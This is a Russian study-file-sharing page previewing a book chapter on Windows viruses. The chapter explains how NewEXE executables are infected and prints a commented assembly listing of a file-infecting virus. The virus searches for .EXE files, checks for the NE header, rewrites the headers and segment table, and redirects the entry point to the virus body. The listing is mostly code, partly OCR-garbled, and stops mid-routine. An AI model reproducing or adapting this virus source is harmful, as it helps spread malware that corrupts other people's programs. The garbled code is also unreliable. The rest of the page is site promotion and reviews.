25642-1 (751123)

Файл №751123 25642-1 (Вирусы под Windows)25642-1 (751123)2016-08-02СтудИзба
Просмтор этого файла доступен только зарегистрированным пользователям. Но у нас супер быстрая регистрация: достаточно только электронной почты!

Текст из файла

ВИРУСЫ ПОД WINDOWS

В этой главе рассказано
о вирусах, заражающих фай-
лы в операционной среде
Windows. Наиболее подробно
рассмотрены вирусы под
Windows 95, Представлены
исходные тексты вирусов
с подробными комментариями,
Также приведены основные
сведения о запускаемых фай-
лах программ под Windows,
их структуре, отличиях
от файлов DOS,

Вирусы под Windows 3.11

В исполняемом файле Windows содержатся в различных комбинациях
код, данные и ресурсы. Ресурсы - это BIN-данные для прикладных про-
грамм. Учитывая возможность запуска файла из DOS, формат данных
должен распознаваться обеими системами - и DOS, и Windows.
Для этого все исполняемые файлы под Windows содержат два заголов-
ка. Первый заголовок (старый) - распознается DOS как программа, вы-
водящая на экран "This program requires Microsoft Windows". Второй
заголовок (NewEXE) - для работы в Windows (см. приложение).

Как же заразить Windows NewEXE? На первый взгляд файл формата
WinNE - обычный ЕХЕ-файл. Начинается он с заголовка ЕХЕ для
DOS и программы (STUB), которая выводит сообщение "This program
requires Microsoft Windows".

Если в ЕХЕ-заголовке по смещению 18h стоит число 40h или больше,
значит по смещению 3Ch находится смещение заголовка NewEXE.

Заголовок NewEXE начинается с символов "NE". Далее идет собствен-
но заголовок, в котором содержатся различные данные, в том числе ад-
реса смещений таблиц сегментов, ресурсов и другие. После заголовка
расположена таблица сегментов, за ней - все остальные таблицы, далее
размещены собственно сегменты с кодом.

Итак, порядок действий:

1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.

2. Заголовок NewEXE сдвигается на 8 байт назад.

3. В таблицу сегментов добавляется новый элемент, описывающий
сегмент вируса.

4. CS:IP NewEXE изменяется на начало вирусного кода, само тело
вируса дописывается в конец файла.

Для загрузки в память (надо перехватить вектор INT 21h из-под
Windows) необходимо использовать функции DPMI (INT 31h). Дей-
ствия: выделение сегмента, изменение его прав доступа, запись вируса,
перехват прерывания 21h (делается с помощью функций DPMI).

В качестве примера приведен полный исходный текст вируса под Windows.
Принципы заражения такие же, как и при заражении^обычного ЕХЕ-фай-
ла,- изменяется структура ЕХЕ-файла и среда, в которЬй он работает.


.286

.MODEL TINY
.CODE

;Сохраним регистры и флаги
pushf
pusha
push ds
push es

.Проверим, доступен ли DPMI. Если доступен,
Продолжаем, если нет - выходим

mov ax,1686h

int 2Fh

or ax, ax

jz dpmi_exist

;Восстановим регистры и флаги
exit:

pop es

pop ds

popa

popf

.Запустим программу-носитель

db OEAh
reloclP dw 0
relocCS dw OFFFFh
dpmi_exist:

;Выделим линейный блок памяти, используя DPMI
mov ax,0501h
mov cx,OFFFFh
xor bx.bx
int 31 h

;Сохраним индекс и 32-битный линейный адрес
.полученного блока памяти в стеке

push si ~^

push di

push bx

push ex


;Создадим дескриптор в таблице LDT
хог ах,ах
mov ex, 1
int 31 h

;B поле адреса полученного дескриптора
.установим адрес нужного блока памяти

mov bx,ax

mov ах,7

pop dx

pop ex

int •31h

;B поле предела полученного дескриптора
остановим размер выделенного блока памяти

mov ах,8

mov dx,OFFFFh

хог сх.сх

int 31h

;В поле прав доступа полученного дескриптора установим значение,
соответствующее сегменту данных, доступному для чтения и записи

mov ах,9

mov cl, 1111001 Ob

хог ch,ch

int 31h

;3агрузим селектор в регистр DS. После этого регистр DS будет
оказывать на выделенный блок памяти
mov ds.bx

.Читаем из стека и сохраняем в памяти
;индекс полученного блока памяти

pop [mem_hnd+2]

pop [mem_hnd]

Получим текущую DTA
mov ah,2Fh
int 21 h
mov [DTA],bx
mov [DTA+2],es


;Найдем первый ЕХЕ-файл (маска *.ЕХЕ)
mov ah,4Eh
xor ex,ex

mov dx,OFFSET wild_exe
push ds
push cs
pop ds
int 21 h
pop ds

;Если файл найден, перейдем к заражению, иначе освободим
;выделенную область памяти и запустим программу-носитель
jnc found_exe

;0свободим выделенную область памяти
call free

.Запустим программу-носитель
jmp exit

.Перейдем к следующему файлу - этот не подходит
close_exe:

; Закроем файл
mov ah,3Eh
int 21h

;Найдем следующий файл
mov ah,4Fh
int 21h

;Если файл найден, перейдем к заражению, иначе освободим
-.выделенную область памяти и запустим программу-носитель
jnc found_exe

;0свободим выделенную область памяти
call free

;3апустим программу-носитель
jmp exit

;Файл найден, проверим его на пригодность к заражению
found ехе:


;0ткроем файл для чтения и записи
push ds

Ids dx, DWORD PTR [DTA]
add dx.lEh
mov ax,3D02h
int 21 h
pop ds

.Прочтем старый заголовок
mov dx.OFFSET old_hdr
mov bx.ax
mov cx,40h
mov ah,3Fh
int 21h

;Проверим сигнатуру, это ЕХЕ-файл?
cmp WORD PTR [old_hdr],"ZM"
jne close_exe

[Проверим смещение таблицы настройки адресов.

;Если значение больше 40h, то это не обычный ЕХЕ-файл.

;Не будем сразу делать вывод,

;что это NewEXE, потому^что это может оказаться

;РЕ-, LE-, LX-executable или другой

;(PE-executable описан в разделе,

[посвященном Windows 95, остальные

;типы ЕХЕ-файлов в этой книге не рассматриваются)

cmp [old_hdr+18h],WORD PTR 40h

jb close_exe

.Перейдем ко второму заголовку (может быть, это NewEXE?):

Переводим указатель к смещению, обозначенному в поле 3Ch

mov dx.WORD PTR [old_hdr+3Ch]

mov cx.WORD PTR [old_hdr+3Eh]

mov ax,4200h

int 21h

; Прочитаем второй заголовок
mov dx.OFFSET newJ-idr
mov ex,40h
mov ah,3fh
int 21h


[Проверим сигнатуру, если сигнатура "NE", то это NewEXE-файл
cmp WORD PTR [new_hdr],"EN"
jne close_exe

[Проверим, для Windows ли предназначен этот файл. Если да, будем
;заражать, иначе переходим к следующему файлу

mov al,[new_hdr+36h]

and al,2

jz close_exe

.Переместим указатель чтения/записи в таблицу сегментов,
;к элементу, обозначающему сегмент точки старта программы.
[Для этого прочтем значение регистра CS при запуске
[этого ЕХЕ-файла

mov dx.WORD PTR [new_hdr+16h]

;По номеру сегмента вычислим положение соответствующего ему
[элемента в таблице сегментов

dec dx

shi dx,3

;K результату прибавим смещение таблицы сегментов и смещение
.заголовка NewEXE

add dx,WORD PTR [new_hdr+22h]

add dx.WORO PTR [old_hdr+3ch]

mov cx.WORD PTR [old_hdr+3eh]

[Переместим указатель чтения/записи
mov ax,4200h
int 21 h

[Прочтем из таблицы сегментов смещение логического сектора
mov dx,OFFSET temp
mov ex, 2
mov ah,3Fh
int 21 h

.Вычислим смещение сегмента, опираясь на значения
.смещения логического сектора и множителя секторов

mov dx.WORD PTR [temp]

mov cx.WORD PTR [new_hdr+32h]

xor ax.ax


cal_entry:

shi dx,1

rcl ax,1

loop cal_entry

.Переместим 16 старших бит 32-битного результата в регистр СХ
mov cx,ax

;Прибавим к результату смещение стартового адреса (IP)
add dx,WORD PTR [new_hdr+14h]
adc cx.O

;Переместим указатель позиции чтения/записи на точку старта
.программы - результат вычисления

mov ax,4200h

int 21 h

;Считаем первые 10 байт после старта программы
mov dx, OFFSET temp
mov cx,10h
mov ah,3Fh
int 21 h

Проверим, заражен ли файл. Если считанные 10 байт в точности
;совпадают с первыми 10-ю байтами нашего вируса, файл заражен.
;В этом случае переходим к поиску следующего, иначе - заражаем

mov si.OFFSET temp

push cs

pop es

xor di.di

mov ex, 8

eld

rep cmpsw

jne ok_to_infect

jmp close_exe

Приступим к заражению
ok_to_infect:

Переместим NE-заголовок на 8 байт ближе к началу файла.
; Исправим соответствующие поля старого заголовка
sub WORD PTR [old_hdr+10h],8


sub WORD PTR [old_hdr+3ch],8
sbb WORD PTR [old_hdr+3eh],0

; Исправим значения таблиц в новом заголовке, чтобы переместились
;только заголовок и таблица сегментов (без остальных таблиц)

add WORD PTR [new_hdr+4],8

add WORD PTR [new_hdr+24h],8

add WORD PTR [new_hdr+26h],8

add WORD PTR [new_hdr+28h],8

add WORD PTR [new_hdr+2ah],8

;Сохраним оригинальные значения точек входа CS и IP
push WORD PTR [new_hdr+14h]
pop [hostJp]

pushTWORD PTR [new_hdr+16h]
pop [host_cs]

;Добавим еще один сегмент в таблицу сегментов и установим
;точку входа на его начало

mov WORD PTR [new_hdr+14h],0

inc WORD PTR [new_hdr+1ch]

push WORD PTR [new_hdr+1ch]

pop WORD PTR [new_hdr+16h]

.Переместим указатель чтения/записи в начало файла
;(к старому заголовку)

хог сх.сх

xor dx.dx

mov ax,4200h

int 21 h

;3апишем старый заголовок, так как модифицированы
;некоторые поля его копии в памяти

mov dx.OFFSET old_hdr

mov cx,40h

mov ah,40h

int 21 h

;Переместим указатель чтения/записи на начало нового
заголовка (его переместили на 8 байт к началу файла)

mov dx.WORD PTR [old_hdr+3ch]

mov cx,WORD PTR [old_hdr+3eh]


mov ax,4200h
int 21 h

;3апишем новый заголовок, так как в его копии
;в памяти некоторые поля модифицированы

mov dx, OFFSET new_hdr

mov cx,40h

mov ah,40h

int 21h

.Переместим указатель чтения/записи на 8 байт
;вперед - к началу таблицы сегментов

хог сх.сх

mov dx,8

mov ax,4201 h

int 21h

рассчитаем размер таблицы сегментов и считаем ее в память
mov dx,OFFSET temp
mov cx.WORD PTR [new_hdr+1ch]
dec ex
shi cx.3
push ex
mov ah,3Fh
int 21h

Переместим указатель чтения/записи назад, к позиции
;за 8 байт перед началом таблицы сегментов

pop dx

push dx

add dx,8

neg dx

mov cx,-1

mov ax,4201h

Характеристики

Тип файла
Документ
Размер
228,51 Kb
Тип материала
Учебное заведение
Неизвестно

Тип файла документ

Документы такого типа открываются такими программами, как Microsoft Office Word на компьютерах Windows, Apple Pages на компьютерах Mac, Open Office - бесплатная альтернатива на различных платформах, в том числе Linux. Наиболее простым и современным решением будут Google документы, так как открываются онлайн без скачивания прямо в браузере на любой платформе. Существуют российские качественные аналоги, например от Яндекса.

Будьте внимательны на мобильных устройствах, так как там используются упрощённый функционал даже в официальном приложении от Microsoft, поэтому для просмотра скачивайте PDF-версию. А если нужно редактировать файл, то используйте оригинальный файл.

Файлы такого типа обычно разбиты на страницы, а текст может быть форматированным (жирный, курсив, выбор шрифта, таблицы и т.п.), а также в него можно добавлять изображения. Формат идеально подходит для рефератов, докладов и РПЗ курсовых проектов, которые необходимо распечатать. Кстати перед печатью также сохраняйте файл в PDF, так как принтер может начудить со шрифтами.

Список файлов доклада

Свежие статьи
Популярно сейчас
Как Вы думаете, сколько людей до Вас делали точно такое же задание? 99% студентов выполняют точно такие же задания, как и их предшественники год назад. Найдите нужный учебный материал на СтудИзбе!
Ответы на популярные вопросы
Да! Наши авторы собирают и выкладывают те работы, которые сдаются в Вашем учебном заведении ежегодно и уже проверены преподавателями.
Да! У нас любой человек может выложить любую учебную работу и зарабатывать на её продажах! Но каждый учебный материал публикуется только после тщательной проверки администрацией.
Вернём деньги! А если быть более точными, то автору даётся немного времени на исправление, а если не исправит или выйдет время, то вернём деньги в полном объёме!
Да! На равне с готовыми студенческими работами у нас продаются услуги. Цены на услуги видны сразу, то есть Вам нужно только указать параметры и сразу можно оплачивать.
Отзывы студентов
Ставлю 10/10
Все нравится, очень удобный сайт, помогает в учебе. Кроме этого, можно заработать самому, выставляя готовые учебные материалы на продажу здесь. Рейтинги и отзывы на преподавателей очень помогают сориентироваться в начале нового семестра. Спасибо за такую функцию. Ставлю максимальную оценку.
Лучшая платформа для успешной сдачи сессии
Познакомился со СтудИзбой благодаря своему другу, очень нравится интерфейс, количество доступных файлов, цена, в общем, все прекрасно. Даже сам продаю какие-то свои работы.
Студизба ван лав ❤
Очень офигенный сайт для студентов. Много полезных учебных материалов. Пользуюсь студизбой с октября 2021 года. Серьёзных нареканий нет. Хотелось бы, что бы ввели подписочную модель и сделали материалы дешевле 300 рублей в рамках подписки бесплатными.
Отличный сайт
Лично меня всё устраивает - и покупка, и продажа; и цены, и возможность предпросмотра куска файла, и обилие бесплатных файлов (в подборках по авторам, читай, ВУЗам и факультетам). Есть определённые баги, но всё решаемо, да и администраторы реагируют в течение суток.
Маленький отзыв о большом помощнике!
Студизба спасает в те моменты, когда сроки горят, а работ накопилось достаточно. Довольно удобный сайт с простой навигацией и огромным количеством материалов.
Студ. Изба как крупнейший сборник работ для студентов
Тут дофига бывает всего полезного. Печально, что бывают предметы по которым даже одного бесплатного решения нет, но это скорее вопрос к студентам. В остальном всё здорово.
Спасательный островок
Если уже не успеваешь разобраться или застрял на каком-то задание поможет тебе быстро и недорого решить твою проблему.
Всё и так отлично
Всё очень удобно. Особенно круто, что есть система бонусов и можно выводить остатки денег. Очень много качественных бесплатных файлов.
Отзыв о системе "Студизба"
Отличная платформа для распространения работ, востребованных студентами. Хорошо налаженная и качественная работа сайта, огромная база заданий и аудитория.
Отличный помощник
Отличный сайт с кучей полезных файлов, позволяющий найти много методичек / учебников / отзывов о вузах и преподователях.
Отлично помогает студентам в любой момент для решения трудных и незамедлительных задач
Хотелось бы больше конкретной информации о преподавателях. А так в принципе хороший сайт, всегда им пользуюсь и ни разу не было желания прекратить. Хороший сайт для помощи студентам, удобный и приятный интерфейс. Из недостатков можно выделить только отсутствия небольшого количества файлов.
Спасибо за шикарный сайт
Великолепный сайт на котором студент за не большие деньги может найти помощь с дз, проектами курсовыми, лабораторными, а также узнать отзывы на преподавателей и бесплатно скачать пособия.
Популярные преподаватели
Добавляйте материалы
и зарабатывайте!
Продажи идут автоматически
7029
Авторов
на СтудИзбе
260
Средний доход
с одного платного файла
Обучение Подробнее